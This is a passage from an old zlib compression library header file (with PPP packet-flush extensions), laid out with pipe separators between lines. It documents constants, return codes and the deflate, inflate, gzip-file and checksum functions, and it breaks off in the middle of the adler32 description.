||||||
|
requirements and avoid any allocation of 64K objects, at the expense of
|
||||||
|
compression ratio, compile the library with -DMAX_WBITS=14 (see zconf.h).
|
||||||
|
|
||||||
|
The fields total_in and total_out can be used for statistics or
|
||||||
|
progress reports. After compression, total_in holds the total size of
|
||||||
|
the uncompressed data and may be saved for use in the decompressor
|
||||||
|
(particularly if the decompressor wants to decompress everything in
|
||||||
|
a single step).
|
||||||
|
*/
|
||||||
|
|
||||||
|
/* constants */
|
||||||
|
|
||||||
|
#define Z_NO_FLUSH 0
|
||||||
|
#define Z_PARTIAL_FLUSH 1
|
||||||
|
#define Z_PACKET_FLUSH 2
|
||||||
|
#define Z_SYNC_FLUSH 3
|
||||||
|
#define Z_FULL_FLUSH 4
|
||||||
|
#define Z_FINISH 5
|
||||||
|
/* Allowed flush values; see deflate() below for details */
|
||||||
|
|
||||||
|
#define Z_OK 0
|
||||||
|
#define Z_STREAM_END 1
|
||||||
|
#define Z_NEED_DICT 2
|
||||||
|
#define Z_ERRNO (-1)
|
||||||
|
#define Z_STREAM_ERROR (-2)
|
||||||
|
#define Z_DATA_ERROR (-3)
|
||||||
|
#define Z_MEM_ERROR (-4)
|
||||||
|
#define Z_BUF_ERROR (-5)
|
||||||
|
#define Z_VERSION_ERROR (-6)
|
||||||
|
/* Return codes for the compression/decompression functions. Negative
|
||||||
|
* values are errors, positive values are used for special but normal events.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#define Z_NO_COMPRESSION 0
|
||||||
|
#define Z_BEST_SPEED 1
|
||||||
|
#define Z_BEST_COMPRESSION 9
|
||||||
|
#define Z_DEFAULT_COMPRESSION (-1)
|
||||||
|
/* compression levels */
|
||||||
|
|
||||||
|
#define Z_FILTERED 1
|
||||||
|
#define Z_HUFFMAN_ONLY 2
|
||||||
|
#define Z_DEFAULT_STRATEGY 0
|
||||||
|
/* compression strategy; see deflateInit2() below for details */
|
||||||
|
|
||||||
|
#define Z_BINARY 0
|
||||||
|
#define Z_ASCII 1
|
||||||
|
#define Z_UNKNOWN 2
|
||||||
|
/* Possible values of the data_type field */
|
||||||
|
|
||||||
|
#define Z_DEFLATED 8
|
||||||
|
/* The deflate compression method (the only one supported in this version) */
|
||||||
|
|
||||||
|
#define Z_NULL 0 /* for initializing zalloc, zfree, opaque */
|
||||||
|
|
||||||
|
#define zlib_version zlibVersion()
|
||||||
|
/* for compatibility with versions < 1.0.2 */
|
||||||
|
|
||||||
|
/* basic functions */
|
||||||
|
|
||||||
|
extern const char * EXPORT zlibVersion OF((void));
|
||||||
|
/* The application can compare zlibVersion and ZLIB_VERSION for consistency.
|
||||||
|
If the first character differs, the library code actually used is
|
||||||
|
not compatible with the zlib.h header file used by the application.
|
||||||
|
This check is automatically made by deflateInit and inflateInit.
|
||||||
|
*/
|
||||||
|
|
||||||
|
/*
|
||||||
|
extern int EXPORT deflateInit OF((z_streamp strm, int level));
|
||||||
|
|
||||||
|
Initializes the internal stream state for compression. The fields
|
||||||
|
zalloc, zfree and opaque must be initialized before by the caller.
|
||||||
|
If zalloc and zfree are set to Z_NULL, deflateInit updates them to
|
||||||
|
use default allocation functions.
|
||||||
|
|
||||||
|
The compression level must be Z_DEFAULT_COMPRESSION, or between 0 and 9:
|
||||||
|
1 gives best speed, 9 gives best compression, 0 gives no compression at
|
||||||
|
all (the input data is simply copied a block at a time).
|
||||||
|
Z_DEFAULT_COMPRESSION requests a default compromise between speed and
|
||||||
|
compression (currently equivalent to level 6).
|
||||||
|
|
||||||
|
deflateInit returns Z_OK if success, Z_MEM_ERROR if there was not
|
||||||
|
enough memory, Z_STREAM_ERROR if level is not a valid compression level,
|
||||||
|
Z_VERSION_ERROR if the zlib library version (zlib_version) is incompatible
|
||||||
|
with the version assumed by the caller (ZLIB_VERSION).
|
||||||
|
msg is set to null if there is no error message. deflateInit does not
|
||||||
|
perform any compression: this will be done by deflate().
|
||||||
|
*/
|
||||||
|
|
||||||
|
|
||||||
|
extern int EXPORT deflate OF((z_streamp strm, int flush));
|
||||||
|
/*
|
||||||
|
Performs one or both of the following actions:
|
||||||
|
|
||||||
|
- Compress more input starting at next_in and update next_in and avail_in
|
||||||
|
accordingly. If not all input can be processed (because there is not
|
||||||
|
enough room in the output buffer), next_in and avail_in are updated and
|
||||||
|
processing will resume at this point for the next call of deflate().
|
||||||
|
|
||||||
|
- Provide more output starting at next_out and update next_out and avail_out
|
||||||
|
accordingly. This action is forced if the parameter flush is non zero.
|
||||||
|
Forcing flush frequently degrades the compression ratio, so this parameter
|
||||||
|
should be set only when necessary (in interactive applications).
|
||||||
|
Some output may be provided even if flush is not set.
|
||||||
|
|
||||||
|
Before the call of deflate(), the application should ensure that at least
|
||||||
|
one of the actions is possible, by providing more input and/or consuming
|
||||||
|
more output, and updating avail_in or avail_out accordingly; avail_out
|
||||||
|
should never be zero before the call. The application can consume the
|
||||||
|
compressed output when it wants, for example when the output buffer is full
|
||||||
|
(avail_out == 0), or after each call of deflate(). If deflate returns Z_OK
|
||||||
|
and with zero avail_out, it must be called again after making room in the
|
||||||
|
output buffer because there might be more output pending.
|
||||||
|
|
||||||
|
If the parameter flush is set to Z_PARTIAL_FLUSH, the current compression
|
||||||
|
block is terminated and flushed to the output buffer so that the
|
||||||
|
decompressor can get all input data available so far. For method 9, a future
|
||||||
|
variant on method 8, the current block will be flushed but not terminated.
|
||||||
|
Z_SYNC_FLUSH has the same effect as partial flush except that the compressed
|
||||||
|
output is byte aligned (the compressor can clear its internal bit buffer)
|
||||||
|
and the current block is always terminated; this can be useful if the
|
||||||
|
compressor has to be restarted from scratch after an interruption (in which
|
||||||
|
case the internal state of the compressor may be lost).
|
||||||
|
If flush is set to Z_FULL_FLUSH, the compression block is terminated, a
|
||||||
|
special marker is output and the compression dictionary is discarded; this
|
||||||
|
is useful to allow the decompressor to synchronize if one compressed block
|
||||||
|
has been damaged (see inflateSync below). Flushing degrades compression and
|
||||||
|
so should be used only when necessary. Using Z_FULL_FLUSH too often can
|
||||||
|
seriously degrade the compression. If deflate returns with avail_out == 0,
|
||||||
|
this function must be called again with the same value of the flush
|
||||||
|
parameter and more output space (updated avail_out), until the flush is
|
||||||
|
complete (deflate returns with non-zero avail_out).
|
||||||
|
|
||||||
|
If the parameter flush is set to Z_PACKET_FLUSH, the compression
|
||||||
|
block is terminated, and a zero-length stored block is output,
|
||||||
|
omitting the length bytes (the effect of this is that the 3-bit type
|
||||||
|
code 000 for a stored block is output, and the output is then
|
||||||
|
byte-aligned). This is designed for use at the end of a PPP packet.
|
||||||
|
|
||||||
|
If the parameter flush is set to Z_FINISH, pending input is processed,
|
||||||
|
pending output is flushed and deflate returns with Z_STREAM_END if there
|
||||||
|
was enough output space; if deflate returns with Z_OK, this function must be
|
||||||
|
called again with Z_FINISH and more output space (updated avail_out) but no
|
||||||
|
more input data, until it returns with Z_STREAM_END or an error. After
|
||||||
|
deflate has returned Z_STREAM_END, the only possible operations on the
|
||||||
|
stream are deflateReset or deflateEnd.
|
||||||
|
|
||||||
|
Z_FINISH can be used immediately after deflateInit if all the compression
|
||||||
|
is to be done in a single step. In this case, avail_out must be at least
|
||||||
|
0.1% larger than avail_in plus 12 bytes. If deflate does not return
|
||||||
|
Z_STREAM_END, then it must be called again as described above.
|
||||||
|
|
||||||
|
deflate() may update data_type if it can make a good guess about
|
||||||
|
the input data type (Z_ASCII or Z_BINARY). In doubt, the data is considered
|
||||||
|
binary. This field is only for information purposes and does not affect
|
||||||
|
the compression algorithm in any manner.
|
||||||
|
|
||||||
|
deflate() returns Z_OK if some progress has been made (more input
|
||||||
|
processed or more output produced), Z_STREAM_END if all input has been
|
||||||
|
consumed and all output has been produced (only when flush is set to
|
||||||
|
Z_FINISH), Z_STREAM_ERROR if the stream state was inconsistent (for example
|
||||||
|
if next_in or next_out was NULL), Z_BUF_ERROR if no progress is possible.
|
||||||
|
*/
|
||||||
|
|
||||||
|
|
||||||
|
extern int EXPORT deflateEnd OF((z_streamp strm));
|
||||||
|
/*
|
||||||
|
All dynamically allocated data structures for this stream are freed.
|
||||||
|
This function discards any unprocessed input and does not flush any
|
||||||
|
pending output.
|
||||||
|
|
||||||
|
deflateEnd returns Z_OK if success, Z_STREAM_ERROR if the
|
||||||
|
stream state was inconsistent, Z_DATA_ERROR if the stream was freed
|
||||||
|
prematurely (some input or output was discarded). In the error case,
|
||||||
|
msg may be set but then points to a static string (which must not be
|
||||||
|
deallocated).
|
||||||
|
*/
|
||||||
|
|
||||||
|
|
||||||
|
/*
|
||||||
|
extern int EXPORT inflateInit OF((z_streamp strm));
|
||||||
|
|
||||||
|
Initializes the internal stream state for decompression. The fields
|
||||||
|
zalloc, zfree and opaque must be initialized before by the caller. If
|
||||||
|
zalloc and zfree are set to Z_NULL, inflateInit updates them to use default
|
||||||
|
allocation functions.
|
||||||
|
|
||||||
|
inflateInit returns Z_OK if success, Z_MEM_ERROR if there was not
|
||||||
|
enough memory, Z_VERSION_ERROR if the zlib library version is incompatible
|
||||||
|
with the version assumed by the caller. msg is set to null if there is no
|
||||||
|
error message. inflateInit does not perform any decompression: this will be
|
||||||
|
done by inflate().
|
||||||
|
*/
|
||||||
|
|
||||||
|
extern int EXPORT inflate OF((z_streamp strm, int flush));
|
||||||
|
/*
|
||||||
|
Performs one or both of the following actions:
|
||||||
|
|
||||||
|
- Decompress more input starting at next_in and update next_in and avail_in
|
||||||
|
accordingly. If not all input can be processed (because there is not
|
||||||
|
enough room in the output buffer), next_in is updated and processing
|
||||||
|
will resume at this point for the next call of inflate().
|
||||||
|
|
||||||
|
- Provide more output starting at next_out and update next_out and avail_out
|
||||||
|
accordingly. inflate() provides as much output as possible, until there
|
||||||
|
is no more input data or no more space in the output buffer (see below
|
||||||
|
about the flush parameter).
|
||||||
|
|
||||||
|
Before the call of inflate(), the application should ensure that at least
|
||||||
|
one of the actions is possible, by providing more input and/or consuming
|
||||||
|
more output, and updating the next_* and avail_* values accordingly.
|
||||||
|
The application can consume the uncompressed output when it wants, for
|
||||||
|
example when the output buffer is full (avail_out == 0), or after each
|
||||||
|
call of inflate(). If inflate returns Z_OK and with zero avail_out, it
|
||||||
|
must be called again after making room in the output buffer because there
|
||||||
|
might be more output pending.
|
||||||
|
|
||||||
|
If the parameter flush is set to Z_PARTIAL_FLUSH or Z_PACKET_FLUSH,
|
||||||
|
inflate flushes as much output as possible to the output buffer. The
|
||||||
|
flushing behavior of inflate is not specified for values of the flush
|
||||||
|
parameter other than Z_PARTIAL_FLUSH, Z_PACKET_FLUSH or Z_FINISH, but the
|
||||||
|
current implementation actually flushes as much output as possible
|
||||||
|
anyway. For Z_PACKET_FLUSH, inflate checks that once all the input data
|
||||||
|
has been consumed, it is expecting to see the length field of a stored
|
||||||
|
block; if not, it returns Z_DATA_ERROR.
|
||||||
|
|
||||||
|
inflate() should normally be called until it returns Z_STREAM_END or an
|
||||||
|
error. However if all decompression is to be performed in a single step
|
||||||
|
(a single call of inflate), the parameter flush should be set to
|
||||||
|
Z_FINISH. In this case all pending input is processed and all pending
|
||||||
|
output is flushed; avail_out must be large enough to hold all the
|
||||||
|
uncompressed data. (The size of the uncompressed data may have been saved
|
||||||
|
by the compressor for this purpose.) The next operation on this stream must
|
||||||
|
be inflateEnd to deallocate the decompression state. The use of Z_FINISH
|
||||||
|
is never required, but can be used to inform inflate that a faster routine
|
||||||
|
may be used for the single inflate() call.
|
||||||
|
|
||||||
|
inflate() returns Z_OK if some progress has been made (more input
|
||||||
|
processed or more output produced), Z_STREAM_END if the end of the
|
||||||
|
compressed data has been reached and all uncompressed output has been
|
||||||
|
produced, Z_NEED_DICT if a preset dictionary is needed at this point (see
|
||||||
|
inflateSetDictionary below), Z_DATA_ERROR if the input data was corrupted,
|
||||||
|
Z_STREAM_ERROR if the stream structure was inconsistent (for example if
|
||||||
|
next_in or next_out was NULL), Z_MEM_ERROR if there was not enough memory,
|
||||||
|
Z_BUF_ERROR if no progress is possible or if there was not enough room in
|
||||||
|
the output buffer when Z_FINISH is used. In the Z_DATA_ERROR case, the
|
||||||
|
application may then call inflateSync to look for a good compression block.
|
||||||
|
In the Z_NEED_DICT case, strm->adler is set to the Adler32 value of the
|
||||||
|
dictionary chosen by the compressor.
|
||||||
|
*/
|
||||||
|
|
||||||
|
|
||||||
|
extern int EXPORT inflateEnd OF((z_streamp strm));
|
||||||
|
/*
|
||||||
|
All dynamically allocated data structures for this stream are freed.
|
||||||
|
This function discards any unprocessed input and does not flush any
|
||||||
|
pending output.
|
||||||
|
|
||||||
|
inflateEnd returns Z_OK if success, Z_STREAM_ERROR if the stream state
|
||||||
|
was inconsistent. In the error case, msg may be set but then points to a
|
||||||
|
static string (which must not be deallocated).
|
||||||
|
*/
|
||||||
|
|
||||||
|
/* Advanced functions */
|
||||||
|
|
||||||
|
/*
|
||||||
|
The following functions are needed only in some special applications.
|
||||||
|
*/
|
||||||
|
|
||||||
|
/*
|
||||||
|
extern int EXPORT deflateInit2 OF((z_streamp strm,
|
||||||
|
int level,
|
||||||
|
int method,
|
||||||
|
int windowBits,
|
||||||
|
int memLevel,
|
||||||
|
int strategy));
|
||||||
|
|
||||||
|
This is another version of deflateInit with more compression options. The
|
||||||
|
fields next_in, zalloc, zfree and opaque must be initialized before by
|
||||||
|
the caller.
|
||||||
|
|
||||||
|
The method parameter is the compression method. It must be Z_DEFLATED in
|
||||||
|
this version of the library. (Method 9 will allow a 64K history buffer and
|
||||||
|
partial block flushes.)
|
||||||
|
|
||||||
|
The windowBits parameter is the base two logarithm of the window size
|
||||||
|
(the size of the history buffer). It should be in the range 8..15 for this
|
||||||
|
version of the library (the value 16 will be allowed for method 9). Larger
|
||||||
|
values of this parameter result in better compression at the expense of
|
||||||
|
memory usage. The default value is 15 if deflateInit is used instead.
|
||||||
|
|
||||||
|
The memLevel parameter specifies how much memory should be allocated
|
||||||
|
for the internal compression state. memLevel=1 uses minimum memory but
|
||||||
|
is slow and reduces compression ratio; memLevel=9 uses maximum memory
|
||||||
|
for optimal speed. The default value is 8. See zconf.h for total memory
|
||||||
|
usage as a function of windowBits and memLevel.
|
||||||
|
|
||||||
|
The strategy parameter is used to tune the compression algorithm. Use the
|
||||||
|
value Z_DEFAULT_STRATEGY for normal data, Z_FILTERED for data produced by a
|
||||||
|
filter (or predictor), or Z_HUFFMAN_ONLY to force Huffman encoding only (no
|
||||||
|
string match). Filtered data consists mostly of small values with a
|
||||||
|
somewhat random distribution. In this case, the compression algorithm is
|
||||||
|
tuned to compress them better. The effect of Z_FILTERED is to force more
|
||||||
|
Huffman coding and less string matching; it is somewhat intermediate
|
||||||
|
between Z_DEFAULT and Z_HUFFMAN_ONLY. The strategy parameter only affects
|
||||||
|
the compression ratio but not the correctness of the compressed output even
|
||||||
|
if it is not set appropriately.
|
||||||
|
|
||||||
|
If next_in is not null, the library will use this buffer to hold also
|
||||||
|
some history information; the buffer must either hold the entire input
|
||||||
|
data, or have at least 1<<(windowBits+1) bytes and be writable. If next_in
|
||||||
|
is null, the library will allocate its own history buffer (and leave next_in
|
||||||
|
null). next_out need not be provided here but must be provided by the
|
||||||
|
application for the next call of deflate().
|
||||||
|
|
||||||
|
If the history buffer is provided by the application, next_in must
|
||||||
|
must never be changed by the application since the compressor maintains
|
||||||
|
information inside this buffer from call to call; the application
|
||||||
|
must provide more input only by increasing avail_in. next_in is always
|
||||||
|
reset by the library in this case.
|
||||||
|
|
||||||
|
deflateInit2 returns Z_OK if success, Z_MEM_ERROR if there was
|
||||||
|
not enough memory, Z_STREAM_ERROR if a parameter is invalid (such as
|
||||||
|
an invalid method). msg is set to null if there is no error message.
|
||||||
|
deflateInit2 does not perform any compression: this will be done by
|
||||||
|
deflate().
|
||||||
|
*/
|
||||||
|
|
||||||
|
extern int EXPORT deflateSetDictionary OF((z_streamp strm,
|
||||||
|
const Bytef *dictionary,
|
||||||
|
uInt dictLength));
|
||||||
|
/*
|
||||||
|
Initializes the compression dictionary (history buffer) from the given
|
||||||
|
byte sequence without producing any compressed output. This function must
|
||||||
|
be called immediately after deflateInit or deflateInit2, before any call
|
||||||
|
of deflate. The compressor and decompressor must use exactly the same
|
||||||
|
dictionary (see inflateSetDictionary).
|
||||||
|
The dictionary should consist of strings (byte sequences) that are likely
|
||||||
|
to be encountered later in the data to be compressed, with the most commonly
|
||||||
|
used strings preferably put towards the end of the dictionary. Using a
|
||||||
|
dictionary is most useful when the data to be compressed is short and
|
||||||
|
can be predicted with good accuracy; the data can then be compressed better
|
||||||
|
than with the default empty dictionary. In this version of the library,
|
||||||
|
only the last 32K bytes of the dictionary are used.
|
||||||
|
Upon return of this function, strm->adler is set to the Adler32 value
|
||||||
|
of the dictionary; the decompressor may later use this value to determine
|
||||||
|
which dictionary has been used by the compressor. (The Adler32 value
|
||||||
|
applies to the whole dictionary even if only a subset of the dictionary is
|
||||||
|
actually used by the compressor.)
|
||||||
|
|
||||||
|
deflateSetDictionary returns Z_OK if success, or Z_STREAM_ERROR if a
|
||||||
|
parameter is invalid (such as NULL dictionary) or the stream state
|
||||||
|
is inconsistent (for example if deflate has already been called for this
|
||||||
|
stream). deflateSetDictionary does not perform any compression: this will
|
||||||
|
be done by deflate().
|
||||||
|
*/
|
||||||
|
|
||||||
|
extern int EXPORT deflateCopy OF((z_streamp dest,
|
||||||
|
z_streamp source));
|
||||||
|
/*
|
||||||
|
Sets the destination stream as a complete copy of the source stream. If
|
||||||
|
the source stream is using an application-supplied history buffer, a new
|
||||||
|
buffer is allocated for the destination stream. The compressed output
|
||||||
|
buffer is always application-supplied. It's the responsibility of the
|
||||||
|
application to provide the correct values of next_out and avail_out for the
|
||||||
|
next call of deflate.
|
||||||
|
|
||||||
|
This function can be useful when several compression strategies will be
|
||||||
|
tried, for example when there are several ways of pre-processing the input
|
||||||
|
data with a filter. The streams that will be discarded should then be freed
|
||||||
|
by calling deflateEnd. Note that deflateCopy duplicates the internal
|
||||||
|
compression state which can be quite large, so this strategy is slow and
|
||||||
|
can consume lots of memory.
|
||||||
|
|
||||||
|
deflateCopy returns Z_OK if success, Z_MEM_ERROR if there was not
|
||||||
|
enough memory, Z_STREAM_ERROR if the source stream state was inconsistent
|
||||||
|
(such as zalloc being NULL). msg is left unchanged in both source and
|
||||||
|
destination.
|
||||||
|
*/
|
||||||
|
|
||||||
|
extern int EXPORT deflateReset OF((z_streamp strm));
|
||||||
|
/*
|
||||||
|
This function is equivalent to deflateEnd followed by deflateInit,
|
||||||
|
but does not free and reallocate all the internal compression state.
|
||||||
|
The stream will keep the same compression level and any other attributes
|
||||||
|
that may have been set by deflateInit2.
|
||||||
|
|
||||||
|
deflateReset returns Z_OK if success, or Z_STREAM_ERROR if the source
|
||||||
|
stream state was inconsistent (such as zalloc or state being NULL).
|
||||||
|
*/
|
||||||
|
|
||||||
|
extern int EXPORT deflateParams OF((z_streamp strm, int level, int strategy));
|
||||||
|
/*
|
||||||
|
Dynamically update the compression level and compression strategy.
|
||||||
|
This can be used to switch between compression and straight copy of
|
||||||
|
the input data, or to switch to a different kind of input data requiring
|
||||||
|
a different strategy. If the compression level is changed, the input
|
||||||
|
available so far is compressed with the old level (and may be flushed);
|
||||||
|
the new level will take effect only at the next call of deflate().
|
||||||
|
|
||||||
|
Before the call of deflateParams, the stream state must be set as for
|
||||||
|
a call of deflate(), since the currently available input may have to
|
||||||
|
be compressed and flushed. In particular, strm->avail_out must be non-zero.
|
||||||
|
|
||||||
|
deflateParams returns Z_OK if success, Z_STREAM_ERROR if the source
|
||||||
|
stream state was inconsistent or if a parameter was invalid, Z_BUF_ERROR
|
||||||
|
if strm->avail_out was zero.
|
||||||
|
*/
|
||||||
|
|
||||||
|
extern int EXPORT deflateOutputPending OF((z_streamp strm));
|
||||||
|
/*
|
||||||
|
Returns the number of bytes of output which are immediately
|
||||||
|
available from the compressor (i.e. without any further input
|
||||||
|
or flush).
|
||||||
|
*/
|
||||||
|
|
||||||
|
/*
|
||||||
|
extern int EXPORT inflateInit2 OF((z_streamp strm,
|
||||||
|
int windowBits));
|
||||||
|
|
||||||
|
This is another version of inflateInit with more compression options. The
|
||||||
|
fields next_out, zalloc, zfree and opaque must be initialized before by
|
||||||
|
the caller.
|
||||||
|
|
||||||
|
The windowBits parameter is the base two logarithm of the maximum window
|
||||||
|
size (the size of the history buffer). It should be in the range 8..15 for
|
||||||
|
this version of the library (the value 16 will be allowed soon). The
|
||||||
|
default value is 15 if inflateInit is used instead. If a compressed stream
|
||||||
|
with a larger window size is given as input, inflate() will return with
|
||||||
|
the error code Z_DATA_ERROR instead of trying to allocate a larger window.
|
||||||
|
|
||||||
|
If next_out is not null, the library will use this buffer for the history
|
||||||
|
buffer; the buffer must either be large enough to hold the entire output
|
||||||
|
data, or have at least 1<<windowBits bytes. If next_out is null, the
|
||||||
|
library will allocate its own buffer (and leave next_out null). next_in
|
||||||
|
need not be provided here but must be provided by the application for the
|
||||||
|
next call of inflate().
|
||||||
|
|
||||||
|
If the history buffer is provided by the application, next_out must
|
||||||
|
never be changed by the application since the decompressor maintains
|
||||||
|
history information inside this buffer from call to call; the application
|
||||||
|
can only reset next_out to the beginning of the history buffer when
|
||||||
|
avail_out is zero and all output has been consumed.
|
||||||
|
|
||||||
|
inflateInit2 returns Z_OK if success, Z_MEM_ERROR if there was
|
||||||
|
not enough memory, Z_STREAM_ERROR if a parameter is invalid (such as
|
||||||
|
windowBits < 8). msg is set to null if there is no error message.
|
||||||
|
inflateInit2 does not perform any decompression: this will be done by
|
||||||
|
inflate().
|
||||||
|
*/
|
||||||
|
|
||||||
|
extern int EXPORT inflateSetDictionary OF((z_streamp strm,
|
||||||
|
const Bytef *dictionary,
|
||||||
|
uInt dictLength));
|
||||||
|
/*
|
||||||
|
Initializes the decompression dictionary (history buffer) from the given
|
||||||
|
uncompressed byte sequence. This function must be called immediately after
|
||||||
|
a call of inflate if this call returned Z_NEED_DICT. The dictionary chosen
|
||||||
|
by the compressor can be determined from the Adler32 value returned by this
|
||||||
|
call of inflate. The compressor and decompressor must use exactly the same
|
||||||
|
dictionary (see deflateSetDictionary).
|
||||||
|
|
||||||
|
inflateSetDictionary returns Z_OK if success, Z_STREAM_ERROR if a
|
||||||
|
parameter is invalid (such as NULL dictionary) or the stream state is
|
||||||
|
inconsistent, Z_DATA_ERROR if the given dictionary doesn't match the
|
||||||
|
expected one (incorrect Adler32 value). inflateSetDictionary does not
|
||||||
|
perform any decompression: this will be done by subsequent calls of
|
||||||
|
inflate().
|
||||||
|
*/
|
||||||
|
|
||||||
|
extern int EXPORT inflateSync OF((z_streamp strm));
|
||||||
|
/*
|
||||||
|
Skips invalid compressed data until the special marker (see deflate()
|
||||||
|
above) can be found, or until all available input is skipped. No output
|
||||||
|
is provided.
|
||||||
|
|
||||||
|
inflateSync returns Z_OK if the special marker has been found, Z_BUF_ERROR
|
||||||
|
if no more input was provided, Z_DATA_ERROR if no marker has been found,
|
||||||
|
or Z_STREAM_ERROR if the stream structure was inconsistent. In the success
|
||||||
|
case, the application may save the current current value of total_in which
|
||||||
|
indicates where valid compressed data was found. In the error case, the
|
||||||
|
application may repeatedly call inflateSync, providing more input each time,
|
||||||
|
until success or end of the input data.
|
||||||
|
*/
|
||||||
|
|
||||||
|
extern int EXPORT inflateReset OF((z_streamp strm));
|
||||||
|
/*
|
||||||
|
This function is equivalent to inflateEnd followed by inflateInit,
|
||||||
|
but does not free and reallocate all the internal decompression state.
|
||||||
|
The stream will keep attributes that may have been set by inflateInit2.
|
||||||
|
|
||||||
|
inflateReset returns Z_OK if success, or Z_STREAM_ERROR if the source
|
||||||
|
stream state was inconsistent (such as zalloc or state being NULL).
|
||||||
|
*/
|
||||||
|
|
||||||
|
extern int inflateIncomp OF((z_stream *strm));
|
||||||
|
/*
|
||||||
|
This function adds the data at next_in (avail_in bytes) to the output
|
||||||
|
history without performing any output. There must be no pending output,
|
||||||
|
and the decompressor must be expecting to see the start of a block.
|
||||||
|
Calling this function is equivalent to decompressing a stored block
|
||||||
|
containing the data at next_in (except that the data is not output).
|
||||||
|
*/
|
||||||
|
|
||||||
|
/* utility functions */
|
||||||
|
|
||||||
|
/*
|
||||||
|
The following utility functions are implemented on top of the
|
||||||
|
basic stream-oriented functions. To simplify the interface, some
|
||||||
|
default options are assumed (compression level, window size,
|
||||||
|
standard memory allocation functions). The source code of these
|
||||||
|
utility functions can easily be modified if you need special options.
|
||||||
|
*/
|
||||||
|
|
||||||
|
extern int EXPORT compress OF((Bytef *dest, uLongf *destLen,
|
||||||
|
const Bytef *source, uLong sourceLen));
|
||||||
|
/*
|
||||||
|
Compresses the source buffer into the destination buffer. sourceLen is
|
||||||
|
the byte length of the source buffer. Upon entry, destLen is the total
|
||||||
|
size of the destination buffer, which must be at least 0.1% larger than
|
||||||
|
sourceLen plus 12 bytes. Upon exit, destLen is the actual size of the
|
||||||
|
compressed buffer.
|
||||||
|
This function can be used to compress a whole file at once if the
|
||||||
|
input file is mmap'ed.
|
||||||
|
compress returns Z_OK if success, Z_MEM_ERROR if there was not
|
||||||
|
enough memory, Z_BUF_ERROR if there was not enough room in the output
|
||||||
|
buffer.
|
||||||
|
*/
|
||||||
|
|
||||||
|
extern int EXPORT uncompress OF((Bytef *dest, uLongf *destLen,
|
||||||
|
const Bytef *source, uLong sourceLen));
|
||||||
|
/*
|
||||||
|
Decompresses the source buffer into the destination buffer. sourceLen is
|
||||||
|
the byte length of the source buffer. Upon entry, destLen is the total
|
||||||
|
size of the destination buffer, which must be large enough to hold the
|
||||||
|
entire uncompressed data. (The size of the uncompressed data must have
|
||||||
|
been saved previously by the compressor and transmitted to the decompressor
|
||||||
|
by some mechanism outside the scope of this compression library.)
|
||||||
|
Upon exit, destLen is the actual size of the compressed buffer.
|
||||||
|
This function can be used to decompress a whole file at once if the
|
||||||
|
input file is mmap'ed.
|
||||||
|
|
||||||
|
uncompress returns Z_OK if success, Z_MEM_ERROR if there was not
|
||||||
|
enough memory, Z_BUF_ERROR if there was not enough room in the output
|
||||||
|
buffer, or Z_DATA_ERROR if the input data was corrupted.
|
||||||
|
*/
|
||||||
|
|
||||||
|
|
||||||
|
typedef voidp gzFile;
|
||||||
|
|
||||||
|
extern gzFile EXPORT gzopen OF((const char *path, const char *mode));
|
||||||
|
/*
|
||||||
|
Opens a gzip (.gz) file for reading or writing. The mode parameter
|
||||||
|
is as in fopen ("rb" or "wb") but can also include a compression level
|
||||||
|
("wb9"). gzopen can be used to read a file which is not in gzip format;
|
||||||
|
in this case gzread will directly read from the file without decompression.
|
||||||
|
gzopen returns NULL if the file could not be opened or if there was
|
||||||
|
insufficient memory to allocate the (de)compression state; errno
|
||||||
|
can be checked to distinguish the two cases (if errno is zero, the
|
||||||
|
zlib error is Z_MEM_ERROR).
|
||||||
|
*/
|
||||||
|
|
||||||
|
extern gzFile EXPORT gzdopen OF((int fd, const char *mode));
|
||||||
|
/*
|
||||||
|
gzdopen() associates a gzFile with the file descriptor fd. File
|
||||||
|
descriptors are obtained from calls like open, dup, creat, pipe or
|
||||||
|
fileno (in the file has been previously opened with fopen).
|
||||||
|
The mode parameter is as in gzopen.
|
||||||
|
The next call of gzclose on the returned gzFile will also close the
|
||||||
|
file descriptor fd, just like fclose(fdopen(fd), mode) closes the file
|
||||||
|
descriptor fd. If you want to keep fd open, use gzdopen(dup(fd), mode).
|
||||||
|
gzdopen returns NULL if there was insufficient memory to allocate
|
||||||
|
the (de)compression state.
|
||||||
|
*/
|
||||||
|
|
||||||
|
extern int EXPORT gzread OF((gzFile file, voidp buf, unsigned len));
|
||||||
|
/*
|
||||||
|
Reads the given number of uncompressed bytes from the compressed file.
|
||||||
|
If the input file was not in gzip format, gzread copies the given number
|
||||||
|
of bytes into the buffer.
|
||||||
|
gzread returns the number of uncompressed bytes actually read (0 for
|
||||||
|
end of file, -1 for error). */
|
||||||
|
|
||||||
|
extern int EXPORT gzwrite OF((gzFile file, const voidp buf, unsigned len));
|
||||||
|
/*
|
||||||
|
Writes the given number of uncompressed bytes into the compressed file.
|
||||||
|
gzwrite returns the number of uncompressed bytes actually written
|
||||||
|
(0 in case of error).
|
||||||
|
*/
|
||||||
|
|
||||||
|
extern int EXPORT gzflush OF((gzFile file, int flush));
|
||||||
|
/*
|
||||||
|
Flushes all pending output into the compressed file. The parameter
|
||||||
|
flush is as in the deflate() function. The return value is the zlib
|
||||||
|
error number (see function gzerror below). gzflush returns Z_OK if
|
||||||
|
the flush parameter is Z_FINISH and all output could be flushed.
|
||||||
|
gzflush should be called only when strictly necessary because it can
|
||||||
|
degrade compression.
|
||||||
|
*/
|
||||||
|
|
||||||
|
extern int EXPORT gzclose OF((gzFile file));
|
||||||
|
/*
|
||||||
|
Flushes all pending output if necessary, closes the compressed file
|
||||||
|
and deallocates all the (de)compression state. The return value is the zlib
|
||||||
|
error number (see function gzerror below).
|
||||||
|
*/
|
||||||
|
|
||||||
|
extern const char * EXPORT gzerror OF((gzFile file, int *errnum));
|
||||||
|
/*
|
||||||
|
Returns the error message for the last error which occurred on the
|
||||||
|
given compressed file. errnum is set to zlib error number. If an
|
||||||
|
error occurred in the filesystem and not in the compression library,
|
||||||
|
errnum is set to Z_ERRNO and the application may consult errno
|
||||||
|
to get the exact error code.
|
||||||
|
*/
|
||||||
|
|
||||||
|
/* checksum functions */
|
||||||
|
|
||||||
|
/*
|
||||||
|
These functions are not related to compression but are exported
|
||||||
|
anyway because they might be useful in applications using the
|
||||||
|
compression library.
|
||||||
|
*/
|
||||||
|
|
||||||
|
extern uLong EXPORT adler32 OF((uLong adler, const Bytef *buf, uInt len));
|
||||||
|
|
||||||
|
/*
|
||||||
|
Update a running Adler-32 checksum with the bytes buf[0..len-1] and
|
||||||
|
